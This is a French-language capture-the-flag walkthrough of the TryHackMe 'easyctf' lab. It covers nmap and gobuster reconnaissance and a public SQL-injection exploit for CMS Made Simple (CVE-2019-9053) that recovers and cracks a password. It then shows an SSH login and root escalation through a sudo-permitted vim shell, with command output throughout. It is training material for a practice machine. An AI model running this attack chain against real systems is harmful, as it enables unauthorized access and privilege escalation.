https://tryhackme.com/room/easyctf
Reconnaissance
root@ip-10-10-21-157:~# nmap -sC -sV 10.10.145.195
Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-16 18:53 GMT
Nmap scan report for ip-10-10-145-195.eu-west-1.compute.internal (10.10.145.195)
Host is up (0.00049s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.21.157
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (EdDSA)
MAC Address: 02:2D:D5:64:37:CD (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.96 seconds
3 ports sont ouverts: 21, 80 et 2222.
Nous allons maintenant répertorier les répertoires cachés de l’application avec gobuster.
root@ip-10-10-21-157:~/Desktop/Tools/wordlists/dirbuster# gobuster dir -u http://10.10.145.195/ -w directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.145.195/
[+] Threads: 10
[+] Wordlist: directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2022/12/16 18:58:19 Starting gobuster
===============================================================
/simple (Status: 301)
/server-status (Status: 403)
===============================================================
2022/12/16 18:58:47 Finished
===============================================================
Nous avons un répertoire /simple.
On constate que le CMS utilisé est le CMS Made Simple version 2.2..8. Nous allons rechercher une CVE pour cette version sur https://www.cvedetails.com/.
Nous utiliserons la CVE-2019-9053 (voir https://www.cvedetails.com/cve/CVE-2019-9053/).
Nous pouvons effectuer une injection SQL (SQLi).
Nous trouvons un exploit sur https://www.exploit-db.com/exploits/46635. Nous le téléchargeons et l’exécutons.
root@ip-10-10-21-157:~/Desktop/Tools/wordlists/SecLists python 46635.py -u http://10.10.145.195/simple/ --crack -w best110.txt
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
Nous allons nous connecter en SSH sur le port 2222.
root@ip-10-10-21-157:~# ssh mitch@10.10.145.195 -p 2222
The authenticity of host '[10.10.145.195]:2222 ([10.10.145.195]:2222)' can't be established.
ECDSA key fingerprint is SHA256:Fce5J4GBLgx1+iaSMBjO+NFKOjZvL5LOVF5/jc0kwt8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[10.10.145.195]:2222' (ECDSA) to the list of known hosts.
mitch@10.10.145.195's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ ls
user.txt
$ cat user.txt
G00d j0b, keep up!
Nous avons pu nous connecter en SSH et trouver le flag user.txt.
Dans le dossier /home, nous trouvons un deuxième utilisateur: sunbath.
Il nous reste maintenant à monter nos privilèges et trouver le flag root.txt.
Là où nous avions un shell custom, nous pouvons obtenir un véritable shell.
$ cd /home
$ ls -lah
total 16K
drwxr-xr-x 4 root root 4,0K aug 17 2019 .
drwxr-xr-x 23 root root 4,0K aug 19 2019 ..
drwxr-x--- 3 mitch mitch 4,0K aug 19 2019 mitch
drwxr-x--- 16 sunbath sunbath 4,0K aug 19 2019 sunbath
$ /bin/bash
mitch@Machine:/home$
Nous allons utiliser la commande sudo -l pour lister les commandes autorisées et interdites pour l’utilisateur.
mitch@Machine:/home$ sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
Vim peut être utilisé sans mot de passe en tant que root.
mitch@Machine:/home$ sudo vim
Une fois dans Vim, il suffit de taper :shell.
mitch@Machine:/home$
mitch@Machine:/home$ sudo vim
root@Machine:/home#
Il ne nous reste plus que le flag root.txt.
root@Machine:~# cd /root
root@Machine:/root# ls
root.txt
root@Machine:/root# cat root.txt
W3ll d0n3. You made it!
root@Machine:/root#